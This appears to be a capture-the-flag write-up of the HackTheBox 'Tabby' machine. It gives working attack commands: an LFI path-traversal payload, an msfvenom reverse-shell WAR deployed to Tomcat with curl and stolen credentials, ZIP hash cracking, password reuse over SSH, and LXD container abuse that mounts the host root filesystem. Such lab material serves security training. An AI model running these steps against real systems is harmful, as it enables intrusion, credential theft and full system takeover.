> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md). # Tabby HackTheBox Writeup Tabby HackTheBox Easy Linux machine writeup covering Local File Inclusion (LFI), Abusing Tomcat Virtual Host Manager, Abusing Tomcat Text-Based Manager - Deploy Malicious War (Curl Method), LXD Exploi {% embed url="" %} {% hint style="warning" icon="cube" %} **Skills:** * Local File Inclusion (LFI) * Apache Tomcat Manager deployment * Password reuse and LXD group abuse {% endhint %} ## Reconnaissance Create a workspace for the machine. ```bash mkdir Tabby cd !$ mkt settarget 10.129.5.156 Tabby ```

The TTL of 64 indicates a Linux target. Add the hostname to `/etc/hosts`. ```bash ping 10.129.5.156 nano /etc/hosts ``` ```bash 10.129.5.156 megahosting.htb ``` ### Nmap Scan all open TCP ports. ```bash nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.156 -oG allPorts ``` * 8080 * 22 * 80

Scan the discovered ports for service versions and default scripts. ```bash nmap -p22,80,8080 -sCV 10.129.5.156 -oN targeted ```

#### Port 80

**Local File Inclusion** The `news.php` `file` parameter is vulnerable to Local File Inclusion (LFI). ```bash news.php?file=../../../../../etc/passwd ```

#### Port 8080

Tomcat 9 is installed. Its credentials are stored in: * `/usr/share/tomcat9/etc/tomcat-users.xml`

The Tomcat panel states that `CATALINA_HOME` is `/usr/share/tomcat9`. The full path is: ```bash /usr/share/tomcat9/etc/tomcat-users.xml ``` Use path traversal to retrieve the Tomcat credentials. ```bash ```

Open the Tomcat Virtual Host Manager: * The target runs Tomcat 9.0.31. Sign in with the recovered credentials.

This reference describes another method for exploiting Tomcat through Host Manager. {% embed url="" %} ### Initial access #### Create a WAR file ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.2 LPORT=443 -f war -o reverse.war ```

#### Deploy the WAR file Deploy the WAR file with `curl`: {% code overflow="wrap" %} ```bash curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war ``` {% endcode %} #### Trigger the reverse shell Listen on port `443`: {% code overflow="wrap" %} ```bash sudo nc -nlvp 443 ``` {% endcode %}

Browse to to trigger the reverse shell.

#### Stabilize the TTY {% code overflow="wrap" %} ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Then press Ctrl+Z. stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` {% endcode %} ### Privilege escalation #### Inspect the web directory Inspect `/var/www/html`. The `files` directory contains `16162020_backup.zip`. Serve the archive from the target: ```bash python3 -m http.server 655 ```

Download it from your machine: ```bash wget http://megahosting.htb:655/files/16162020_backup.zip ``` #### Crack the ZIP archive The ZIP archive is password-protected.

Extract its hash with `zip2john`: ```bash zip2john 16162020_backup.zip > hash ```

Crack the hash with `john`: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` The recovered password is `admin@it`.

Use the password to extract and inspect the archive.

Extraction creates a `var` directory with few useful files. However, `admin@it` also authenticates as `ash` on the target. ```bash ssh ash@megahosting.htb ``` #### User flag

#### Exploit LXD group membership The `ash` user belongs to the `lxd` group. This allows LXC to be abused for root access.

LXD group membership allows a privileged container to mount the host filesystem. #### Import an Alpine image Build or download an Alpine LXD image on your machine. Serve the image: ```bash python3 -m http.server 80 ``` Download and import the image on the target: ```bash cd /tmp wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz export PATH=$PATH:/snap/bin lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine ```

Create a privileged container and mount the host root filesystem: ```bash lxc init alpine privesc -c security.privileged=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc start privesc lxc exec privesc /bin/sh ``` The target root filesystem is now available at `/mnt/root`. ```bash cat /mnt/root/root/root.txt ```

#### Root flag

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